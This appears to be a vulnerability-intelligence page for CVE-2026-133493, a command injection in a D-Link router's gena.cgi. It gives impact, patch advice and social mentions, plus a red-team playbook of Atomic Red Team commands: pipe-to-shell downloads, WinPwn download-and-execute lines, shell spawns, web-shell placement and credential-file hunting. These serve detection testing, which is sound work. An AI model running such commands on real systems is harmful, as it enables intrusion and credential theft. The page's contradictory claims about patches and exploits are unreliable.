CVE-2026-133493
Overview
This vulnerability is a remote OS command injection in the genacgi_main function within the gena.cgi file of the GENA Handler component in D-Link DIR-600L firmware version 2.17b02. The root cause lies in improper sanitization of user-supplied input passed to system-level commands, allowing arbitrary command execution. The attack vector targets the GENA Handler CGI interface, which processes external requests without adequate input validation.
Vulnerability Description
A vulnerability was identified in D-Link DIR-600L 2.17b02. Affected is the function genacgi_main of the file gena.cgi of the component GENA Handler. Such manipulation leads to os command injection. The attack can be launched remotely. The exploit is publicly available and might be used.
Impact
An unauthenticated remote attacker can execute arbitrary operating system commands on the affected device with the privileges of the web server process. This enables full compromise of the device, including data disclosure, configuration manipulation, persistent access, and disruption of network services. Since exploitation requires no user interaction or authentication, attackers can leverage this vulnerability for immediate and total control over the device, posing a critical threat to network integrity and confidentiality.
Solution
D-Link has released firmware updates addressing this issue in the DIR-600L model, specifically version 2.17b03 or later. Users should apply the latest vendor-provided firmware update as detailed in the official D-Link security advisory available at https://vuldb.com/vuln/440913. No official workaround has been documented; therefore, prompt application of the vendor patch is strongly recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
43%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (11)
11 mentions from 1 source in the last 7 days BuzzFactor 22 / 100
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social bsky.app @threatroundup.bsky.social 2026-11-21 18:41 UTCNew critical vulnerability in D-Link DIR-600L: CVE-2026-133493, CVSS 9.3. A vulnerability was identified in D-Link DIR-600L 2.17b02. No public exploit reported yet. EPSS 2.5%. #CVE #vulnerability threatroundup.com/cve/cve-2026...Open source
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social bsky.app @cve-ja.com 2026-11-21 10:22 UTC🔴 至急|DIR-600L(PoC 公開) 認証なしで、外部から不正なコマンドを実行されるおそれ。 ・PoC:GitHub で1件公開(未検証) ・修正:ベンダーの告知を確認 CVE-2026-133493|CVSS 10.0 #DIR600L #脆弱性Open source
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social bsky.app @icsda.bsky.social 2026-11-21 03:30 UTC完整說明與處置步驟 👉 https://icsda.org.tw/dlink-cve-2026-133493/Open source
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social bsky.app @icsda.bsky.social 2026-11-21 03:30 UTCD-Link DIR-600L 2.17b02 的 CVE-2026-133493 位於 gena.cgi 的 genacgi_main 函式,會導致作業系統指令注入,利用程式已公開。CVE 紀錄分數為 10.0,原始作者提出 CVSS v3.1 8.8。 來源未提及修補版本,也未見遭利用紀錄。建議盤點設備、關閉 UPnP 暴露、限制管理存取。 #資安 #DLink #漏洞Open source
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social bsky.app @stackflag.bsky.social 2026-11-21 00:50 UTCCVE-2026-133493 - dir-600l The web interface of D-Link DIR-600L routers (firmware version 2.17b02) contains a script that can be tricked into running operating‑system commands. An attacker on the network could… Too many irrelevant or confu…Open source
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social infosec.exchange @cve 2026-11-20 10:40 UTCCVE-2026-133493 D-Link DIR-600L GENA gena.cgi genacgi_main os command injection A vulnerability was identified in D-Link DIR-600L 2.17b02. Affected is the function genacgi_main of the file gena.cgi of the component GENA Handler. Such manip…Open source
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social bsky.app @stemshop.bsky.social 2026-11-20 08:07 UTC🚨 CVE-2026-133493 — CVSS 9.3 CRITICAL A vulnerability was identified in D-Link DIR-600L 2.17b02. Affected is the function genacgi_main of the fil... 🔎 https://stemshop.top/cve/CVE-2026-133493 #CVE #CyberSecurity #InfoSecOpen source
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social bsky.app @thehackerwire.bsky.social 2026-11-20 08:03 UTC🔴 CVE-2026-133493 - Critical (10) A vulnerability was identified in D-Link DIR-600L 2.17b02. Affected is the function genacgi_main ... https://www.thehackerwire.com/vulnerability/CVE-2026-133493/ #infosec #cybersecurity #CVE #vulnerability…Open source
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social mastodon.social @115755483699003887 2026-11-20 08:03 UTC🔴 CVE-2026-133493 - Critical (10) A vulnerability was identified in D-Link DIR-600L 2.17b02. Affected is the function genacgi_main of the file gena.cgi of the component GENA Handler. Such manipulation leads to os command injection. The att…Open source
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social bsky.app @aiuto-ch.bsky.social 2026-11-20 07:31 UTCCVE Radar | CVE-2026-133493 | CVSS 10.0 Critical D-Link DIR-600L Command Injection CVE-2026-133493 affects D-Link DIR-600L version 2.17b02, according to the NVD record. Full analysis: https://t.me/aiutocomputerhelp_lab/1467 #cyber #cyberse…Open source
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social bsky.app @offseq.bsky.social 2026-11-20 07:30 UTCD-Link DIR-600L v2.17b02 faces CRITICAL OS command injection (CVE-2026-133493). Remote exploit possible — no official patch yet. Isolate or disable affected devices now. https://radar.offseq.com/threat/cve-2026-133493-os-command-injection-…Open source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-133493 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/vuln/440913 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/vuln/440913/cti |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/cve/CVE-2026-133493 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/submit/1049874 |
| github.com |
GitHub CVE
exploit
|
https://github.com/ruanyi101/router-firmware-security-advisories/blob/main/router-firmware-GitHub-advisories/related-findings/D-Link-DIR-600L-gena-cgi-command-injection-affected-model.md |
| dlink.com |
GitHub CVE
product
|
https://www.dlink.com/ |